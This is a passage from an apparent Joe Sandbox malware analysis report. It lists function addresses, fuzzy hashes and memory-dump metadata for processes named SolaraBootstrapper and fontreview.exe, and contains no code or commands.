Opcode Fuzzy Hash: f15564236d9e63c8705ecfece10f2e2192874d0e20ced800f6f070a24ef84339
Instruction Fuzzy Hash: F331C4716042589FDB15EB65C868BAEBBB6FF89300F14449DE105DB2A0CF709A48CB91

Function 00C3D4DC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1654843433.0000000000C3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c3d000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d98e3132b52f0d532adb733089588b0676e81de8c0ad2e7b009a408011c00aa
Instruction ID: f15dcfaed94369380e58d83747d48cea82c0156d261cd0b69a70124cf104f685
Opcode Fuzzy Hash: 3d98e3132b52f0d532adb733089588b0676e81de8c0ad2e7b009a408011c00aa
Instruction Fuzzy Hash: C12107B1514344DFDB05DF10E9C0B26BFA6FB98318F24C569E80A0B256C336D956CBA2

Function 026C5CA8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23814327e095bb0392e681088e581a9bffa500bd425b475358d8b9cff97058d5
Instruction ID: e8ca0ba409705f21da1a70ca2570564f79d9ca2a2f241d180d2c92c1f7f457bf
Opcode Fuzzy Hash: 23814327e095bb0392e681088e581a9bffa500bd425b475358d8b9cff97058d5
Instruction Fuzzy Hash: 15210C75600B048FC324DF5AC89485AB7F2FF8D2203648A5DE58ACB765CA30F849CB90

Function 026C3A6D Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094135f86fa6beb1cb65dcb97a4af08df61e200dc2d3ef3f06bbcdee48d17800
Instruction ID: 1b901a296ac0e464aca68df93b9391a7f50fc7cd223ef810ab0f9fcd9ed635c0
Opcode Fuzzy Hash: 094135f86fa6beb1cb65dcb97a4af08df61e200dc2d3ef3f06bbcdee48d17800
Instruction Fuzzy Hash: B521BB30A04294AFDB4DFFB8A85835D3BB2FB86200B6041A9D406DB392DF345E098792

Function 026C1191 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2eb9304dfbf5b030675234abf3ee169879021b3fea48da5cbb0476b0c019639
Instruction ID: 60835c660c702a39a9464e07fd112f42d3f71aa06d72537697d7305e79232935
Opcode Fuzzy Hash: e2eb9304dfbf5b030675234abf3ee169879021b3fea48da5cbb0476b0c019639
Instruction Fuzzy Hash: 8D21A374E01208CFCB44EFA4D5949ADBBB2FF8A700F20952AD409AB359DB38AD41CF54

Function 026C5F73 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dca4c8fb5a4c134e6862184a8a8090ac3078f3c11ef8f605b9682175dcac382
Instruction ID: f550e2f43e460ac11df09638fff5bd29f39daa3116d7e335684631071e7a40b2
Opcode Fuzzy Hash: 2dca4c8fb5a4c134e6862184a8a8090ac3078f3c11ef8f605b9682175dcac382
Instruction Fuzzy Hash: 12212574A012489FDB08EFA4D954AADBBB2FF8A340F20906DD401BB361CB759D45CF68

Function 026C5CB8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87d1394c77ffecbf70b807a1a70e8ceb5b50f63a15178a5532073779ee395e05
Instruction ID: 07208bd584c05c5750c06c5b46c0fafa6294ecb92f5efc6a33946adfeeeb0a27
Opcode Fuzzy Hash: 87d1394c77ffecbf70b807a1a70e8ceb5b50f63a15178a5532073779ee395e05
Instruction Fuzzy Hash: 1321E475600A049FC724DF5AC884C1AB7F2FF8C3203648A5DE98A8BB65CA30F845CB90

Function 026C571E Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb76c8f7ffe22199ec63bd6a316223aee30c853b4baf4db3d5377ef1d5d7d9e
Instruction ID: 9c7ada31c9802ced6e7c4d956cfad9ab89e077b6593ee1b0f959f9a13f82ead2
Opcode Fuzzy Hash: aeb76c8f7ffe22199ec63bd6a316223aee30c853b4baf4db3d5377ef1d5d7d9e
Instruction Fuzzy Hash: A31104357041608FDB097BB4A4283AD7796EBCAB117A4007AE40BC7B91CF349D4A8792

Function 026C5F80 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e6700fce2fe5468433f28f8db0ecd6435ffd4610034423258f0890421e8373
Instruction ID: 706152179dc6d8b2aea93fc6533d2ac562f6748dd578ce82cd413c425d130b5e
Opcode Fuzzy Hash: 46e6700fce2fe5468433f28f8db0ecd6435ffd4610034423258f0890421e8373
Instruction Fuzzy Hash: 0F21C474A012489FDB08EFA5DA54AADBBB2FB8A311F20906DD401B7350CB759D40CF68

Function 00C3D4D7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1654843433.0000000000C3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_c3d000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01a772179decf110bb882872cb952e1b13b119dd61991aef1ad72797cf3e64a4
Instruction ID: 0c023a770449fa0524fc41e239c70c86b9aa1368801ecb134d02c71e58e26b5d
Opcode Fuzzy Hash: 01a772179decf110bb882872cb952e1b13b119dd61991aef1ad72797cf3e64a4
Instruction Fuzzy Hash: 5811E6B6504244CFCB06CF10D5C4B16BF72FB94318F24C6A9D80A4B656C336D95ACBA2

Function 026C4201 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e007994040b6876bb4df540386d2921dbd625d24c7a88c916fdeb91a4161152
Instruction ID: dea5a71cfdc7131afa77c691c0d020b28bd5102daf0448940267d2841d3dfd98
Opcode Fuzzy Hash: 4e007994040b6876bb4df540386d2921dbd625d24c7a88c916fdeb91a4161152
Instruction Fuzzy Hash: 57019C3160C3B45FCB29A374A89936D3BE8EF83714F54099DD5058B781DFA15C4A8380

Function 026C54A8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f63e9dbf177480df8a07c7ebf0e5f91fd08f619d313c18390814ca41248d42c
Instruction ID: 7f68ff7b9b67997ae62341e50b61d40b5f7413915dab2035b39b9504ce7cbde2
Opcode Fuzzy Hash: 4f63e9dbf177480df8a07c7ebf0e5f91fd08f619d313c18390814ca41248d42c
Instruction Fuzzy Hash: 43012C313041108FC758AB2AD844A7A7AE9EFC96557A980AEE507EB361DF70EC02C750

Function 026C53F3 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a9f92e1d7d6b26676f155ed114dcabf5c8a97e5f01023647c7a8e46940a2e0d
Instruction ID: ed254a135012bc905ea3775253651c1060d5d89518bd4a058e7ee7122cc97833
Opcode Fuzzy Hash: 3a9f92e1d7d6b26676f155ed114dcabf5c8a97e5f01023647c7a8e46940a2e0d
Instruction Fuzzy Hash: 6E01FD306043585BC7219B2ACC003BA7BF9EF86626B5884AED04AE3650DB34A006CB62

Function 026C5EFF Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac97ca44d95a70a0038b51d4dbc58aae552356846bb217cf9e4ed9153a11544
Instruction ID: acea8c7f9b52f2536c946d8dd2f175639753604232768049cb3dcb64b6efc859
Opcode Fuzzy Hash: 7ac97ca44d95a70a0038b51d4dbc58aae552356846bb217cf9e4ed9153a11544
Instruction Fuzzy Hash: 6D01E874D04208DFCB08EFB5D8456ADBBB1FB4A340F2484AAD815A3321D7B59A09DF40

Function 026C3C78 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5175ddd64f7f873dc1a82188067b7030d3735a75b03eb0575d2fa89e2714eb9
Instruction ID: 4eb8462d2d8783d30bfd4679f65330969d69a28b1720f95720241bd2f15bb335
Opcode Fuzzy Hash: f5175ddd64f7f873dc1a82188067b7030d3735a75b03eb0575d2fa89e2714eb9
Instruction Fuzzy Hash: 9AF09075E0520CEFCB40EBF0D8445EDBBB4EF86204B1081EAE904D3210E7319B699B90

Function 026C558B Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 405ad135cf4495aec92a695babde547c34d214e721d589f2c3c7403853734ce3
Instruction ID: 26747220fe385b67b182861d894fdc08d7cecd7c2b92086b8c017e3443ecf7ca
Opcode Fuzzy Hash: 405ad135cf4495aec92a695babde547c34d214e721d589f2c3c7403853734ce3
Instruction Fuzzy Hash: 02F0E9317093805FC316473198508537FB6EFCB26075405FED8894B723DA22E842C740

Function 026C56B9 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9693ac893ae5858c7c70547a5d452ed22dd90c0e23a8aef20b7b1668bec7356
Instruction ID: 59b493f9ed210a056348a62ee0c23a59ebe049e99ab073b1edd56e09daf3cb03
Opcode Fuzzy Hash: e9693ac893ae5858c7c70547a5d452ed22dd90c0e23a8aef20b7b1668bec7356
Instruction Fuzzy Hash: 1FF01D36D10959DFCB05DF98D8508EDFB75FF95310F514159E54437220EB31AA8ACBA0

Function 026C0FC8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2226bfd40d66d75caade2380337e9ad145babd75dc0cf4419e84d0b3d51b3ae7
Instruction ID: 14cb3df7360c756c4242c61e3d9f5a5fa52d08fb4913de208f312245c7fd3fac
Opcode Fuzzy Hash: 2226bfd40d66d75caade2380337e9ad145babd75dc0cf4419e84d0b3d51b3ae7
Instruction Fuzzy Hash: 3FF0A970909348EFDB06EFA4E945B9C77B4FB43300FA004A9D514CB222E7301E08E762

Function 026C5788 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c377e89e1241dfd15a1444a72c262ddb790e0069d74835b0fa7158de9e1e875
Instruction ID: 4512f083b2fc768ca3c42209b9acfedd5fae7356ebb4ffed771ea4c4ed86825e
Opcode Fuzzy Hash: 0c377e89e1241dfd15a1444a72c262ddb790e0069d74835b0fa7158de9e1e875
Instruction Fuzzy Hash: 27E01239300124CBCA147F58B818AAC7799F749E627540066F50FC3A61CF75A8554695

Function 026C0FD8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23333df30080fc4fb7b5577b6b04a7d8a79ce6e07b886be2f1b3b59449667b09
Instruction ID: aed9b3d1081fa38b3f829fde2e51c49c2824a969d44ecac5ede18f0fae2e1148
Opcode Fuzzy Hash: 23333df30080fc4fb7b5577b6b04a7d8a79ce6e07b886be2f1b3b59449667b09
Instruction Fuzzy Hash: 1CE08C70A00208EFDB08EFB4EA09B9DB3B8FB42304F6045ACD81497221EB701E04EB91

Function 026C273D Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dae084ca5312db493309202ca9e0b082c5c7f33b624de007857bf2ef9c2a1c5
Instruction ID: be2f67f725937ada4634908380f6c3fb1240032746c2c325e19c00301293bd79
Opcode Fuzzy Hash: 0dae084ca5312db493309202ca9e0b082c5c7f33b624de007857bf2ef9c2a1c5
Instruction Fuzzy Hash: 24E07578900219DFEB159F50DD987BD7BB1FB8C745F204529D802B6260CB784545CA61

Function 026C26F0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77ebf56998e7dc8cbea531acff74c3a3fa607f898230b9a4b17b3e36cbc6050
Instruction ID: adc6709af82c1571df578c961064bdb69b4db49e22b795e4721514deba5f640b
Opcode Fuzzy Hash: e77ebf56998e7dc8cbea531acff74c3a3fa607f898230b9a4b17b3e36cbc6050
Instruction Fuzzy Hash: AED0CA601083D09ECB138B30881AB0A7F301F47200B0A80CAD089CF1A3D298880EC322

Function 026C568B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1669053014.00000000026C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 026C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_26c0000_SolaraBootstrapper.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf77d9f713e9de98e470710f4d7733691e5acd1b7dba2ba3afde44cc7780d30
Instruction ID: 3958e2460c48506a0583df9727304e649f3ae2ed3611f61af630bcc7b25b8ce7
Opcode Fuzzy Hash: abf77d9f713e9de98e470710f4d7733691e5acd1b7dba2ba3afde44cc7780d30
Instruction Fuzzy Hash: B0D09E7044120ACBEB24FF80CA197BEBB70EB00309F700419D006B5190CB792A85CB91

Analysis Process: fontreview.exePID: 7888, Parent PID: 7832COMMON

Executed Functions

Function 00007FFB4B22FFA6 Relevance: 2.7, Strings: 2, Instructions: 160COMMON

Download Yara Rule

Strings

9, xrefs: 00007FFB4B22FFB3
(, xrefs: 00007FFB4B22F8A1

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID: ($9
API String ID: 0-1743955940
Opcode ID: 92665a9b0b8d66b217fa49d0bb828f471ce5ef26d4f3d1c269d562a0273163fd
Instruction ID: 9e095d0f942b061d9f86c2f54c0f5381f6fd3fe32ac50ebb476ed13c5d55e60b
Opcode Fuzzy Hash: 92665a9b0b8d66b217fa49d0bb828f471ce5ef26d4f3d1c269d562a0273163fd
Instruction Fuzzy Hash: 2B61DAB0D18A298FEBA9EF28CC557A9B7B1FB48301F5041E9944DE2291DE345EC6CF41

Function 00007FFB4B22ED72 Relevance: 2.5, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

{, xrefs: 00007FFB4B22FF48
&, xrefs: 00007FFB4B22F9D2

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID: &${
API String ID: 0-4122913362
Opcode ID: 5290989db8e99339765c62331e1e93200ff64ada04a6676e7896cb276ccfc77e
Instruction ID: a194ab972e8458391f229156f4b5bb4ac938923443fcece4563606edcdfefab9
Opcode Fuzzy Hash: 5290989db8e99339765c62331e1e93200ff64ada04a6676e7896cb276ccfc77e
Instruction Fuzzy Hash: 6F11DDB0D0C2298EEBA8EF14C9847E87BB1FB54701F1085AAD50D962A0CF785AC4DF42

Function 00007FFB4B221718 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

2E+K, xrefs: 00007FFB4B221EF3

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID: 2E+K
API String ID: 0-2588525932
Opcode ID: ddfa15fc2f48e1dc2afa68c9f996e43289353199bed2d4ada22df9e7b768e34f
Instruction ID: 152b8f98cda10c05362aaae43068273b3e969e0a3f9eaad1e9b3827247ec2b1a
Opcode Fuzzy Hash: ddfa15fc2f48e1dc2afa68c9f996e43289353199bed2d4ada22df9e7b768e34f
Instruction Fuzzy Hash: 3091F471A0CA4A4FDB4DEE6CC8559B97BD2FF98341B14417AE54DE3292CE34AC12C782

Function 00007FFB4B22D709 Relevance: .4, Instructions: 391COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd56979ed3a472c6dff5f4968b514174a06f012edda6aad112a3aa16a39df66d
Instruction ID: d9956909718dbdad387d09f3d756ea23bc6e68200e933b3aec3098561f15fe24
Opcode Fuzzy Hash: cd56979ed3a472c6dff5f4968b514174a06f012edda6aad112a3aa16a39df66d
Instruction Fuzzy Hash: BDE16CB1D1965E8FEB98EF68C4657B8BBA1FF58300F4040BAD00DD72D2CA386845DB41

Function 00007FFB4B22C4ED Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa56dfccb411bdb29a35d46d473d0eead36b204bcd29545343ed1cd97173591b
Instruction ID: 9c41e74a99103ddd952c9610bd4dbb4ce45492c478847244cc53475880828351
Opcode Fuzzy Hash: aa56dfccb411bdb29a35d46d473d0eead36b204bcd29545343ed1cd97173591b
Instruction Fuzzy Hash: 8B713BB5D1C51E8EEB98FF68C554BADBAA1FF58300F1081BAC10DE3295DE3469458B41

Function 00007FFB4B221D6D Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02e4890cac019f4b84780e02691d0064af55318866117d288d3659ef20847358
Instruction ID: 0badfd21cf313f297d211db6487f77042d5df663073b544c53ebcabaa41c2a99
Opcode Fuzzy Hash: 02e4890cac019f4b84780e02691d0064af55318866117d288d3659ef20847358
Instruction Fuzzy Hash: AF51F471A1CB894FDB4CEE68C8549BA77D2FFD8301B14817ED54AD7291CE34E8128781

Function 00007FFB4B2231B5 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2420447a51c4b68b033740b3535076c81225376ca682bce73f59c2eadf41bf28
Instruction ID: 305e3a2545d0db52eaf127bd090e9dede5a10a5a7f9ff46f904d3466ab32c3c3
Opcode Fuzzy Hash: 2420447a51c4b68b033740b3535076c81225376ca682bce73f59c2eadf41bf28
Instruction Fuzzy Hash: A55127B0D0851D8FEB58FFA8C5956EDBBF1EF48300F10817AD109E72A2DA386944CB42

Function 00007FFB4B222185 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de358c8631fa80b466d1ca9fbf62b354faa5f3ecce821803f72e51c2628efc7a
Instruction ID: 3e6d7137e9f3e5f133a9903a7b687b439317bace351ee1bb1d03bf81c9f78919
Opcode Fuzzy Hash: de358c8631fa80b466d1ca9fbf62b354faa5f3ecce821803f72e51c2628efc7a
Instruction Fuzzy Hash: 0E412871A0DA4A4FEB5AFF38C8455B97FE1EF86310B0585BBD448C71A2DE29A8418352

Function 00007FFB4B231899 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e237d0bd5257c2c5f80daad8479a2390d62aac92ccfcc91cfb12735bda205ad4
Instruction ID: 56e2fd9ff7cef30b307423e8ba02d1f06ccc9ae77f8b1f7cccd8c906413bede1
Opcode Fuzzy Hash: e237d0bd5257c2c5f80daad8479a2390d62aac92ccfcc91cfb12735bda205ad4
Instruction Fuzzy Hash: 5651A9A184E7C64FD7439B748C755A2BFB0AF17210B0E45EBD4C4CB0E3D228692AD762

Function 00007FFB4B22374E Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00f8c632d9a32c31f9fe71c8b7fdb8db851306f80ee2980c91ee1a1cbab2a194
Instruction ID: e3ae4b7114fad846a26bdab982e4602f858b7970fc72eecbf131ed04591c9ffa
Opcode Fuzzy Hash: 00f8c632d9a32c31f9fe71c8b7fdb8db851306f80ee2980c91ee1a1cbab2a194
Instruction Fuzzy Hash: EC41A4B195C90A8FE788DF6CD4543A97FE1EBC5354F90417AC008D72D6CBB418498B51

Function 00007FFB4B23249D Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a024fae545e61c78d65c0aab4a2627eaf6a9db20edd864420db1cb6cb00f5af
Instruction ID: 81af289b680a49f0c3ba937f91fb2a8effb9c42b55e041b6d0082466b46372ce
Opcode Fuzzy Hash: 1a024fae545e61c78d65c0aab4a2627eaf6a9db20edd864420db1cb6cb00f5af
Instruction Fuzzy Hash: CD414D70D1861E8FEB94FFA8D8556EEBBB1FF48300F404579D509E3292CE3468458B91

Function 00007FFB4B22E210 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3b128797859aa3460012d65b19af47f06616008a5dc9798392de6bf68b56b1d
Instruction ID: 8551e4e5bbe02d9b0e34f7c3e5c39d8d9ccee18d8b0834a7e12d9a0bff2970c5
Opcode Fuzzy Hash: c3b128797859aa3460012d65b19af47f06616008a5dc9798392de6bf68b56b1d
Instruction Fuzzy Hash: B2410C70D0862A8FEBA9EF24C9447E9B7F5FB58301F0085B6D51DD22A1DB786A84CF41

Function 00007FFB4B22BF78 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 367a50f0daba28db07711df56b83b59057236276ee03a1bf142c11f41672a995
Instruction ID: a40fc0a63085fd942b7a47581c389672a105671b16b4afbade9138062b6e8d8f
Opcode Fuzzy Hash: 367a50f0daba28db07711df56b83b59057236276ee03a1bf142c11f41672a995
Instruction Fuzzy Hash: 8C31F9B5E1C91D9EEB98FFA8D955AECBBB2FF59300F504039D10DD3292DE2468418B41

Function 00007FFB4B22C66D Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1486261715.00007FFB4B220000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffb4b220000_fontreview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f32c91cbefcd88cfab8cdec6e408080a574c613797fc3c327c9291b52a7b7a4
Instruction ID: a4de5da796eb30832ef5b2120cc3ccada6ed8aa8d06194eed1d411509c49dd43
